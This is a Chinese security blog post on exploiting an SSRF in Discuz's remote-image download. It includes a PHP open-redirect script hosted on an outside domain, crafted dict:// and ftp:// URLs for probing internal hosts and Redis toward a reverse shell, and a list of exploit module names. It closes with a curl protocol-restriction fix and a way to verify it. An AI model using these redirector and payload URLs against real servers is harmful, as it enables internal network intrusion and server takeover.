SSRF到GET SHELL

admin 2021年8月2日20:17:37评论87 views字数 2280阅读7分36秒阅读模式

漏洞影响

只要有一处SSRF(此处用Discuz代替),既有可能造成GET SHELL,获取服务器所有权限。

Discuz的一处SSRF

Discuz代码中存在一处远程下载图片的action 
source/module/forum/forum_ajax.php

if(preg_match('/^(http://|.)/i', $imageurl)) {       $content = dfsockopen($imageurl); } elseif(preg_match('/^('.preg_quote(getglobal('setting/attachurl'), '/').')/i', $imageurl)) {     $imagereplace['newimageurl'][] = $value[0]; }

如果$imageurl是http开头的,则使用dfsockopen远程访问该链接的图片。

那么就可以通过301跳转到一个内网服务上,用来探测内网信息。

构造探测图片

通过构造一个远程的伪图片

http://ttt.sssie.com/301.php  

301.php

<?php  $ip = $_GET['ip'];  $port = $_GET['port'];  $scheme = $_GET['s'];  $data = $_GET['data'];  header("Location: $scheme://$ip:$port/$data");  ?>

构造一个跳转到dict://10.11.2.220:80/helo.jpg

http://ttt.sssie.com/301.php?s=dict&ip=10.11.2.220&port=80&data=helo.jpg  

我们让其301到一个内网ip的80端口,然后根据整个请求完成的时间不同来判定该服务是否存在,构造链接如下

http://bbs.xxx.com/forum.php?mod=ajax&action=downremoteimg&message=  http://bbs.xxx.com/forum.php?mod=ajax&action=downremoteimg&message=  

上面链接请求10.11.2.220的80服务只需要100ms,10.11.2.221不存在80服务,返回使用了6s

GETSHELL

除了能探测80服务,我们还可以通过dict协议来探测内网匿名redis服务以及写redis拿到反弹shell dict://10.11.2.220:6379

探测FTP ftp://10.11.2.220:21

其它服务利用方式

redis.py   jboss.py   shellshock.py   axis2.py   jdwp.py   smtp.py   confluence.py   jenkins.py   struts.py   couchdb.py   mongodb.py   tftp.py   docker.py   phpcgi.py   tomcat.py   elasticsearch.py   pop.py   webdav.py   ftp.py   portscan.py   websphere.py   gopher.py   pstack.py   zentaopms.py   hfs.py  

解决方案

大部分请求外部资源底层都是基于curl,curl默认支持dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp这些协议

$ curl -V curl 7.47.1 (x86_64-apple-darwin15.3.0) libcurl/7.47.1 OpenSSL/1.0.2g zlib/1.2.8   Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp   Features: IPv6 Largefile NTLM NTLM_WB SSL libz TLS-SRP UnixSockets  

所以只需要通过配置curl禁止使用除http/https以外其它协议即可解决该问题

source/function/function_filesock.php  

在_dfsockopen方法内增加

curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);  

验证修复

在一台内网服务器(10.11.2.220)上开启一个8080端口

python -m SimpleHTTPServer 8080  

然后访问触发SSRF的地址

http://bbs.xxx.com/forum.php?mod=ajax&action=downremoteimg&message=  

查看是否有请求的回显,没有则说明修复好了


本文始发于微信公众号(飓风网络安全):SSRF到GET SHELL

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年8月2日20:17:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SSRF到GET SHELLhttp://cn-sec.com/archives/359726.html

发表评论

匿名网友 填写信息